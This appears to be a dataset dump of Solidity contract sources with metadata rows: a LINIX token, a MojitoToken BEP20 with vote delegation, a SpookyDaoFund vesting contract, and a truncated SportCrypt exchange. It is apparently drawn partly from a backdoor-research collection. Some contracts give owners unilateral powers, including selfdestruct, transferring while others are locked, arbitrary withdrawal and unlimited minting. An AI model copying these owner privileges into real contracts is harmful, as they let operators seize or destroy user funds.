event Issue_team(address indexed _to, uint _tokens);
event Issue_reserve(address indexed _to, uint _tokens);
event Issue_advisor(address indexed _to, uint _tokens);
event TokenUnLock(address indexed _to, uint _tokens);
constructor() public
{
name = "LINIX";
decimals = 18;
symbol = "LNX";
issueToken_Total = 0;
issueToken_Public = 0;
issueToken_Private = 0;
issueToken_Ecosystem = 0;
issueToken_Marketing = 0;
issueToken_RND = 0;
issueToken_Team = 0;
issueToken_Reserve = 0;
issueToken_Advisor = 0;
require(maxSupply == maxSupply_Public + maxSupply_Private + maxSupply_Ecosystem + maxSupply_Marketing + maxSupply_RND + maxSupply_Team + maxSupply_Reserve + maxSupply_Advisor);
require(maxSupply_RND == vestingAmountPerRound_RND * vestingReleaseRound_RND);
require(maxSupply_Team == vestingAmountPerRound_Team * vestingReleaseRound_Team);
require(maxSupply_Advisor == vestingAmountPerRound_Advisor * vestingReleaseRound_Advisor);
}
function totalSupply() view public returns (uint) {
return issueToken_Total;}
function balanceOf(address _who) view public returns (uint) {
uint balance = balances[_who];
return balance;}
function transfer(address _to, uint _value) public returns (bool) {
require(isTransferable() == true);
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;}
function approve(address _spender, uint _value) public returns (bool){
require(isTransferable() == true);
require(balances[msg.sender] >= _value);
approvals[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true; }
function allowance(address _owner, address _spender) view public returns (uint) {
return approvals[_owner][_spender];}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
require(isTransferable() == true);
require(balances[_from] >= _value);
require(approvals[_from][msg.sender] >= _value);
approvals[_from][msg.sender] = approvals[_from][msg.sender].sub(_value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;}
function issue_noVesting_Private(address _to, uint _value) onlyOwner_creator public
{
uint tokens = _value * zeroAfterDecimal;
require(maxSupply_Private >= issueToken_Private.add(tokens));
balances[_to] = balances[_to].add(tokens);
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Private = issueToken_Private.add(tokens);
emit Issue_private(_to, tokens);
}
function issue_noVesting_Public(address _to, uint _value) onlyOwner_creator public
{
uint tokens = _value * zeroAfterDecimal;
require(maxSupply_Public >= issueToken_Public.add(tokens));
balances[_to] = balances[_to].add(tokens);
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Public = issueToken_Public.add(tokens);
emit Issue_public(_to, tokens);
}
function issue_noVesting_Marketing(address _to, uint _value) onlyOwner_creator public
{
uint tokens = _value * zeroAfterDecimal;
require(maxSupply_Marketing >= issueToken_Marketing.add(tokens));
balances[_to] = balances[_to].add(tokens);
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Marketing = issueToken_Marketing.add(tokens);
emit Issue_marketing(_to, tokens);
}
function issue_noVesting_Ecosystem(address _to, uint _value) onlyOwner_creator public
{
uint tokens = _value * zeroAfterDecimal;
require(maxSupply_Ecosystem >= issueToken_Ecosystem.add(tokens));
balances[_to] = balances[_to].add(tokens);
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Ecosystem = issueToken_Ecosystem.add(tokens);
emit Issue_ecosystem(_to, tokens);
}
function issue_noVesting_Reserve(address _to, uint _value) onlyOwner_creator public
{
uint tokens = _value * zeroAfterDecimal;
require(maxSupply_Reserve >= issueToken_Reserve.add(tokens));
balances[_to] = balances[_to].add(tokens);
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Reserve = issueToken_Reserve.add(tokens);
emit Issue_reserve(_to, tokens);
}
function issue_vesting_RND(address _to, uint _time) onlyOwner_creator public
{
require(saleTime == false);
require(vestingReleaseRound_RND >= _time);
uint time = now;
require(((endSaleTime + (_time * vestingReleaseTime_RND)) < time) && (vestingRelease_RND[_time] > 0));
uint tokens = vestingRelease_RND[_time];
require(maxSupply_RND >= issueToken_RND.add(tokens));
balances[_to] = balances[_to].add(tokens);
vestingRelease_RND[_time] = 0;
issueToken_Total = issueToken_Total.add(tokens);
issueToken_RND = issueToken_RND.add(tokens);
emit Issue_RND(_to, tokens);
}
function issue_vesting_Advisor(address _to, uint _time) onlyOwner_creator public
{
require(saleTime == false);
require(vestingReleaseRound_Advisor >= _time);
uint time = now;
require(((endSaleTime + (_time * vestingReleaseTime_Advisor)) < time) && (vestingRelease_Advisor[_time] > 0));
uint tokens = vestingRelease_Advisor[_time];
require(maxSupply_Advisor >= issueToken_Advisor.add(tokens));
balances[_to] = balances[_to].add(tokens);
vestingRelease_Advisor[_time] = 0;
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Advisor = issueToken_Advisor.add(tokens);
emit Issue_advisor(_to, tokens);
}
function issueTokenWithVesting_Team(address _to, uint _time) onlyOwner_creator public
{
require(saleTime == false);
require(vestingReleaseRound_Team >= _time);
uint time = now;
require(((endSaleTime + (_time * vestingReleaseTime_Team)) < time) && (vestingRelease_Team[_time] > 0));
uint tokens = vestingRelease_Team[_time];
require(maxSupply_Team >= issueToken_Team.add(tokens));
balances[_to] = balances[_to].add(tokens);
vestingRelease_Team[_time] = 0;
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Team = issueToken_Team.add(tokens);
emit Issue_team(_to, tokens);
}
function isTransferable() private view returns (bool)
{
if(tokenLock == false)
{
return true;
}
else if(msg.sender == Owner_manager)
{
return true;
}
return false;
}
function setTokenUnlock() onlyOwner_manager public
{
require(tokenLock == true);
require(saleTime == false);
tokenLock = false;
}
function setTokenLock() onlyOwner_manager public
{
require(tokenLock == false);
tokenLock = true;
}
function () payable external
{
revert();
}
function endSale() onlyOwner_manager public
{
require(saleTime == true);
saleTime = false;
uint time = now;
endSaleTime = time;
for(uint i = 1; i <= vestingReleaseRound_RND; i++)
{
vestingRelease_RND[i] = vestingRelease_RND[i].add(vestingAmountPerRound_RND);
}
for(uint i = 1; i <= vestingReleaseRound_Advisor; i++)
{
vestingRelease_Advisor[i] = vestingRelease_Advisor[i].add(vestingAmountPerRound_Advisor);
}
for(uint i = 1; i <= vestingReleaseRound_Team; i++)
{
vestingRelease_Team[i] = vestingRelease_Team[i].add(vestingAmountPerRound_Team);
}
}
function withdrawTokens(address _contract, uint _decimals, uint _value) onlyOwner_manager public
{
if(_contract == address(0x0))
{
uint eth = _value.mul(10 ** _decimals);
msg.sender.transfer(eth);
}
else
{
uint tokens = _value.mul(10 ** _decimals);
Helper(_contract).transfer(msg.sender, tokens);
emit Transfer(address(0x0), msg.sender, tokens);
}
}
function burnToken(uint _value) onlyOwner_manager public
{
uint tokens = _value * zeroAfterDecimal;
require(balances[msg.sender] >= tokens);
balances[msg.sender] = balances[msg.sender].sub(tokens);
burnTokenAmount = burnTokenAmount.add(tokens);
issueToken_Total = issueToken_Total.sub(tokens);
emit Burn(msg.sender, tokens);
}
function close() onlyOwner_master public
{
selfdestruct(msg.sender);
}
}
| 166,799 | 12,263 |
41d3fd1b0c26741983668072e9c37520248d35c6e8e2a357f519e80ce0ccf986
| 32,653 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xb46c351A8711b12403b4BC8A7872aA0afB109326/contract.sol
| 4,147 | 16,012 |
pragma solidity 0.6.12;
//
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
//
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
//
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom (address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer (address sender, address recipient, uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve (address owner, address spender, uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
// EggToken with Governance.
contract MojitoToken is BEP20('BarSwap Token', 'MOJITO') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "TOKEN::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "TOKEN::delegateBySig: invalid nonce");
require(now <= expiry, "TOKEN::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "TOKEN::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying TOKENs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "TOKEN::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 248,641 | 12,264 |
24bdff0571da1cbbc1dbfd020f93e46086af89843c98fd1bcf6b6cd0676329dd
| 20,538 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/f5/f59C309c965C8A37654EfCCF4803763AE686AE29_SpookyDaoFund.sol
| 2,546 | 10,881 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Initializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !Address.isContract(address(this));
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Fund is Ownable, Initializable {
using SafeERC20 for IERC20;
IERC20 public yToken;
uint256 public claimedAmount;
function initialize(address _yToken) external initializer {
require(_yToken != address(0), "Fund::constructor: Invalid address");
yToken = IERC20(_yToken);
}
function allocation() public view virtual returns (uint256);
function vestingStart() public view virtual returns (uint256);
function vestingDuration() public view virtual returns (uint256);
function currentBalance() public view returns (uint256) {
return yToken.balanceOf(address(this));
}
function vestedBalance() public view returns (uint256) {
uint256 _allocation = allocation();
uint256 _start = vestingStart();
uint256 _duration = vestingDuration();
if (block.timestamp <= _start) {
return 0;
}
if (block.timestamp > _start + _duration) {
return _allocation;
}
return (_allocation * (block.timestamp - _start)) / _duration;
}
function claimable() public view returns (uint256) {
return vestedBalance() - claimedAmount;
}
function transfer(address receiver, uint256 amount) external onlyOwner {
require(receiver != address(0), "Fund::transfer: Invalid address");
require(amount > 0, "Fund::transfer: Invalid amount");
require(amount <= claimable(), "Fund::transfer: > vestedAmount");
claimedAmount = claimedAmount + amount;
yToken.safeTransfer(receiver, amount);
}
}
contract SpookyDaoFund is Fund {
uint256 public constant ALLOCATION = 6_000_000 ether; // 20%
uint256 public constant VESTING_DURATION = 3 * 365 * 24 * 3600; // 3 years
uint256 public constant VESTING_START = 1654596000; // 7th June 2022, 10PM UTC
function allocation() public pure override returns (uint256) {
return ALLOCATION;
}
function vestingStart() public pure override returns (uint256) {
return VESTING_START;
}
function vestingDuration() public pure override returns (uint256) {
return VESTING_DURATION;
}
}
| 91,419 | 12,265 |
e616b59244ba21d11fbda5bd9554b8cf8f6dee947c3d689cc2b27604ceb97fce
| 17,878 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x37304b0ab297f13f5520c523102797121182fb5b.sol
| 4,507 | 17,087 |
pragma solidity ^0.4.18;
contract SportCrypt {
address private owner;
mapping(address => bool) private admins;
function SportCrypt() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address newOwner) external onlyOwner {
owner = newOwner;
}
function addAdmin(address addr) external onlyOwner {
admins[addr] = true;
}
function removeAdmin(address addr) external onlyOwner {
admins[addr] = false;
}
// Events
event LogBalanceChange(address indexed account, uint oldAmount, uint newAmount);
event LogDeposit(address indexed account);
event LogWithdraw(address indexed account);
event LogTrade(address indexed takerAccount, address indexed makerAccount, uint indexed matchId, uint orderHash, uint8 orderDirection, uint8 price, uint longAmount, int newLongPosition, uint shortAmount, int newShortPosition);
event LogTradeError(address indexed takerAccount, address indexed makerAccount, uint indexed matchId, uint orderHash, uint16 status);
event LogOrderCancel(address indexed account, uint indexed matchId, uint orderHash);
event LogFinalizeMatch(uint indexed matchId, uint8 finalPrice);
event LogClaim(address indexed account, uint indexed matchId, uint amount);
// Storage
struct Match {
mapping(address => int) positions;
uint64 firstTradeTimestamp;
bool finalized;
uint8 finalPrice;
}
mapping(address => uint) private balances;
mapping(uint => Match) private matches;
mapping(uint => uint) private filledAmounts;
// Memory
uint constant MAX_SANE_AMOUNT = 2**128;
enum Status {
OK,
MATCH_FINALIZED,
ORDER_EXPIRED,
ORDER_MALFORMED,
ORDER_BAD_SIG,
AMOUNT_MALFORMED,
SELF_TRADE,
ZERO_VALUE_TRADE
}
struct Order {
uint orderHash;
uint matchId;
uint amount;
uint expiry;
address addr;
uint8 price;
uint8 direction;
}
// [0]: match hash
// [1]: amount
// [2]: 5-byte expiry, 5-byte nonce, 1-byte price, 1-byte direction, 20-byte address
function parseOrder(uint[3] memory rawOrder) private constant returns(Order memory o) {
o.orderHash = uint(keccak256(this, rawOrder));
o.matchId = rawOrder[0];
o.amount = rawOrder[1];
uint packed = rawOrder[2];
o.expiry = packed >> (8*27);
o.addr = address(packed & 0x00ffffffffffffffffffffffffffffffffffffffff);
o.price = uint8((packed >> (8*21)) & 0xff);
o.direction = uint8((packed >> (8*20)) & 0xff);
}
function validateOrderParams(Order memory o) private pure returns(bool) {
if (o.amount > MAX_SANE_AMOUNT) return false;
if (o.price == 0 || o.price > 99) return false;
if (o.direction > 1) return false;
return true;
}
function validateOrderSig(Order memory o, bytes32 r, bytes32 s, uint8 v) private pure returns(bool) {
if (ecrecover(keccak256("\x19Ethereum Signed Message:\n32", o.orderHash), v, r, s) != o.addr) return false;
return true;
}
struct Trade {
Status status;
address longAddr;
address shortAddr;
int newLongPosition;
int newShortPosition;
int longBalanceDelta;
int shortBalanceDelta;
uint shortAmount;
uint longAmount;
}
// User methods
function() external payable {
revert();
}
function deposit() external payable {
if (msg.value > 0) {
uint origAmount = balances[msg.sender];
uint newAmount = safeAdd(origAmount, msg.value);
balances[msg.sender] = newAmount;
LogDeposit(msg.sender);
LogBalanceChange(msg.sender, origAmount, newAmount);
}
}
function withdraw(uint amount) external {
uint origAmount = balances[msg.sender];
uint amountToWithdraw = minu256(origAmount, amount);
if (amountToWithdraw > 0) {
uint newAmount = origAmount - amountToWithdraw;
balances[msg.sender] = newAmount;
LogWithdraw(msg.sender);
LogBalanceChange(msg.sender, origAmount, newAmount);
msg.sender.transfer(amountToWithdraw);
}
}
function cancelOrder(uint[3] order, bytes32 r, bytes32 s, uint8 v) external {
Order memory o = parseOrder(order);
// Don't bother validating order params.
require(validateOrderSig(o, r, s, v));
require(o.addr == msg.sender);
